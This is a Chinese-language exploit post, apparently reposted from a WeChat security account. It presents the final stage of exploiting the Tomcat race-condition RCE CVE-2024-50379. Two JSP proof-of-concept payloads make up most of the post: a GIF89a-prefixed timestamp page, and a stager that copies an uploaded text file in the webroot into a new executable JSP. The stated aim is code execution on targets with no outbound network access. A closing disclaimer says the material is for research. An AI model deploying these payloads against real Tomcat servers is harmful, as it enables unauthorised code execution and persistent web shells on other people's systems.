之前我们分别发布了两篇文章,分别是Tomcat条件竞争RCE的复现、以及一篇如何让它持久的利用:
Tomcat RCE | CVE-2024-50379条件竞争RCE复现,带视频教程及POC
书接上回 | Tomcat条件竞争RCE该如何深入利用,让它持久而并非昙花一现
这个洞局限还是比较大的:首先就是需要在Windows上,在漏洞版本范围内,然后开了PUT请求,其次再利用到条件竞争进行上传。
但是有些东西,你懂的,不可能完全没人开启的,研究它,就是为了在遇到这个漏洞时更好的进行利用:
第二篇文章,咱们已经描述了这个条件竞争漏洞的利用条件,并提供了一个远程下载的方案,但是这个方案还是有一个问题:如果目标不出网,无法进行远程下载,所以咱们总结了一个最终利用。
手好冷,不想打字了,直接看视频吧:
POC如下
获取时间:
GIF89a
<%@page import="java.text.SimpleDateFormat"%>
<%@page import="java.util.Date"%>
<%@ page language="java" contentType="text/html; UTF-8"
pageEncoding="UTF-8"%>
<html>
<head>
<meta charset="utf-8">
<title>java_bean</title>
</head>
<body>
<%
Date date = new Date();
SimpleDateFormat df = new SimpleDateFormat("yyyy-MM--dd HH:mm:ss");
String today = df.format(date);
%>
当前时间:<%= today%>
</body>
</html>
读取重命名并保存:
<%@ page import="java.io.*" %>
<%
//要读取的文件
String sourceFilePath = application.getRealPath("/") + "xlz1.txt";
//重新保存后的文件名
String destinationFilePath = application.getRealPath("/") + "time123.jsp";
try {
FileReader fileReader = new FileReader(sourceFilePath);
BufferedReader bufferedReader = new BufferedReader(fileReader);
FileWriter fileWriter = new FileWriter(destinationFilePath);
BufferedWriter bufferedWriter = new BufferedWriter(fileWriter);
String line;
while ((line = bufferedReader.readLine()) != null) {
bufferedWriter.write(line);
bufferedWriter.newLine();
}
bufferedReader.close();
bufferedWriter.close();
out.println("SAVA_PATH: " + destinationFilePath);
} catch (IOException e) {
e.printStackTrace();
out.println("Error: " + e.getMessage());
}
%>
利用本账号所发文章
进行直接或间接的非法行为
均由操作者本人负全责
犀利猪安全及文章对应作者
不为此承担任何责任
文章来自互联网或原创
如有侵权可联系我方进行删除
并诚挚的跟您说声抱歉
原文始发于微信公众号(犀利猪安全):最终章 | Tomcat条件竞争RCE的最终利用篇,带视频教学及POC
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论